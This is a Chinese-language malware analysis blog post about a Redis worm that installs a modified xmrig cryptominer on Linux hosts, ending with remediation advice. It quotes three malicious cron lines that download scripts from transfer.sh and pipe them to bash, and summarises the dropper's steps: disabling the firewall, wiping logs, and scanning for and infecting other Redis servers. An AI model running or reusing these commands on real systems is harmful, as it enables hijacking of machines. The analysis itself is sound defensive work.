Linux系統之Redis擴散病毒繼續分析
印象中,從2017年下半年開始,感覺挖礦事件層出不窮。只要有客戶的網路系統發生異常報告,基本都是從CPU發生異常開始。現在只要聽到客戶報告其主機系統出現異常,我們的第一反應就是,是不是又是「挖礦」啊?還真的是,到了現場一看,確實,恭喜「親」,你又成為辛勤奉獻、任勞任怨的苦力小礦工了。
一、系統環境
操作系統:Ubuntu
內核:Linux4.4.0-57-generic x86_64
該主機對外開放兩個埠,分別是22埠(SSH-2.0-OpenSSH_7.2p2)、80埠(nginx/1.4.6)。經過分析,發現80埠的日誌和目錄、文件基本沒有異常,22埠也沒有其他異常情況。
二、病毒分析
通過本地分析,發現一堆由pnscan進程發出去的6379埠網路掃描行為,判斷應該是針對redis的病毒掃描程序。
另外,還有兩個名為gpg的進程佔用很高的CPU,並且對外有網路鏈接。
此外,還發現該主機竟然開放redis服務,而且綁定地址已經修改為127.0.0.1:6379。哇,小夥伴安全意識蠻到位的嘛,竟然會加固redis安全了。可是通過和客戶磋商,其確實有安裝redis服務,可是上面並沒有跑業務數據,而且只用於學習開發,也僅僅是默認安裝,並沒有做任何安全設置。
好吧,看來,初步判斷應該是通過redis入侵主機系統。
於是登錄 redis控制台,輸入keys *命令(反正沒有業務系統,呵呵,不怕數據多的讓你掛掉),發現創建了三個Key,分別名為Backup1、Backup2和Backup3。
其內容分別如下:
Backup1: */2 * * * * curl -shttps://transfer.sh/GoZkF/tmp.DoRh9YAdFi > .cmd && bash .cmd
Backup2: */5 * * * * wget -O .cmd https://transfer.sh/GoZkF/tmp.DoRh9YAdFi&& bash .cmd
Backup3: */10 * * * * lynx -sourcehttps://transfer.sh/15TRyl/tmp.pCnR6is0Gm > .cmd && bash .cmd
確定了,就是通過redis未授權訪問漏洞入侵的系統。接下來看看具體的惡意腳本和文檔,看看攻擊者到底想幹嘛?
1、transfer.sh文件共享
剛開始還以為transfer.sh又是攻擊者申請用來幹壞事的域名。呵呵,大家別笑俺孤陋寡聞,以前真不知道,沒有用過transfer.sh服務。
打開其主頁,發現其竟然提供的是正常的服務,該網站提供黑屏下文件共享的方式(命令行式文件分享網),經過細看,哇塞,竟然在黑屏下提供了上傳、下載文件的功能,用戶可直接通過命令行工具把文件上傳到該網站,網站生成該文件下載連接url,可供其他用戶下載。其功能還蠻強大的,根據介紹,其特徵包括:命令行下使用/url共享鏈接/上傳最大10gb/文件保存14天/免費/加密/無限次數下載等,如上圖所示。哇哇,這網站tmd真是無私奉獻啊,令人肅然起敬。對用戶來說,提供了多少便利。知道了此網站的存在和用法,也是本次病毒分析的一大收穫了,呵呵。
話說回來,對該網站最愛的應該是黑客了吧,簡單,還提供了免費的域名(中轉站)。命令行下直接使用,無需驗證,感覺這個網站的所有者是否就是黑客出身(妄測一下),太貼合需求了。
2、腳本分析
從上述Backup裡面包含的URL分別下載了tmp.DoRh9YadFi(大小4,853)和tmp.pCnR6is0Gm(大小4,783)文件,發現兩個文件只有極小的差異,完成的功能是一樣的。
腳本很長,很多命令都要重新去查詢,去學習。原來以前都看不清所謂的「腳本小子」,其實這些在LINUX下寫腳本的人真的是太聰明了,很震撼。不過腳本太複雜了,有些地方考慮還是不周,不如許可權的問題、下載的問題、還有pnscan病毒掃描程序的編譯問題等,如果有任何一步出現問題,整個功能就大打折扣了。在實際測試中,我們發現關是利用yum/apt-get下載相應的庫和包就需要漫長的時間,下載的東西太多了,作者想的真全面啊。
具體的內容和解釋如下,如果有些解釋不到位的地方望大家指正,#後面是自己加的注釋。
#休眠一秒
#當前目錄下查找60分鐘之前修改過的名為.mxff0的普通文件,並刪除
#創建 .mxff0文件
#刪除文件
#臨時關閉防火牆,關閉輸出
#關閉selinux
#清除當前cron定時任務
#刪除/var/spool/cron
//設置dns解析為8.8.8.8
#刪除/tmp,/var/tmp下文件和/etc/root.sh
#修改/etc/security/limits.conf文件,limits.conf文件限制著用戶可以使用的最大文件數,最大線程,最大內存等資源使用量
#防火牆修改redis只讓本機訪問
#殺掉包含下列字元串的進程,好瘋狂。
#又刪除/tmp和/var/tmp下的文件
#清除登錄日誌、歷史記錄
echo 0 > /var/spool/mail/root
#下載安裝相應的庫和軟體包
#如果是CentOS系統,用yum下載安裝
#如果是Redhat系統,用yum下載安裝
#如果是Fedora系統,用yum下載安裝
#如果是Ubuntu系統,用apt下載安裝
#如果是Debian系統,用apt下載安裝
#如果是Mint系統,用apt下載安裝(Linux Mint由Linux MintTeam團隊於2006年開始發行,是一份基於Debian和Ubuntu的Linux發行版)
#如果是Knoppix系統,用apt下載安裝(KNOPPIX是一個linux發行版,基於debian,功能包括:自動硬體監測、支持常見的顯卡、音效卡、SCSI和USB設備,以及其它外設)
#如果本地不存在pnscan,則去下載
#解壓、編譯、安裝pnscan
#從transfer.sh下載tmp.Woq2ONMx8z文件
#文件改名、增加執行屬性、運行後刪除(進程為.gpg)
#對redis進行操作,添加定時任務
#利用pnscan進行病毒擴散
#寫入IP地址文件到.ran
#循環掃描 Redis伺服器(目標針對linux)
#如果成果掃到redis伺服器,就利用redis-cli客戶端寫入.dat內容完成病毒感染
#再次清除日誌記錄、登錄歷史等
———————————————————————————————————————————————————————————————————————————
上述腳本中,剛開始有些地方還是沒有弄清楚。
(1)比如作者會在目標機器中下載並安裝redis,如果說安裝redis客戶端還情有可原,畢竟利用pnscan掃描程序的時候,如果有掃描到空口令的redis伺服器,是利用redis-cli去連接並執行命令的。可是為什麼每台主機還要安裝redis-server呢?難道安裝redis-cli必須安裝server?
經過全程分析,最後明白了,作者是禁止了原主機的redis:0.0.0.0:6379埠訪問,重新安裝了一個redis服務並只綁定127.0.0.1:6379埠,從而防止被別的惡意軟體再次侵襲。可是萬一機器主人本來是用來可以內部區域網訪問的咋整呢?唉。
3、進程.gpy分析
gpy進程發出的鏈接如下圖所示:
直接用編輯軟體打開發現其是xmrig的挖礦軟體(最簡單的就是用文本編輯可以查找到xmrig字元串)。作者對xmrig代碼進行了修改並重新編譯。加參數—version運行,結果如下圖所示:
加參數 –help命令執行。其界面如下圖所示,是典型的xmrig挖礦的界面,只不過作者把文件名修改成了svshost。
實際運行的gyp進程沒有帶任何參數,而我們知道xmrig軟體是帶參數運行的(要麼命令行直接加參數,或者命令行指定參數文件)。那麼參數在哪呢?按常理,肯定是作者直接在程序裡面寫死了。
於是我們直接調用IDA對其進行反編譯,找到作者的參數如下圖所示(實際代碼中,作者還是把字元串分成一個一個字元的形式):
錢包地址為:
佔用CPU最大:50%(還蠻人性的,呵呵)
域名和IP查詢
IP查詢如下圖所示:
域名信息查詢如下如下圖所示:
BS是巴哈馬群島。
猜測該礦池應該是個小礦池或者是一個礦池代理。由於不知道如何查詢其挖礦情況,希望知道的朋友多指教。
三、應對措施
1、 重新安裝redis(千萬不要賦予root許可權)服務,根據客戶實際需要對特定IP開放埠(利用防火牆設置,尤其是必須對外(公網)提供服務的情況下),如果只是本機使用,綁定127.0.0.1:6379 ,增加認證口令。
2、 清除定時任務
3、 殺掉進程、刪除實體
※在Go中使用反向代理進行網路釣魚測試
※看我如何利用Webhook繞過支付請求
TAG:瘋貓網路 |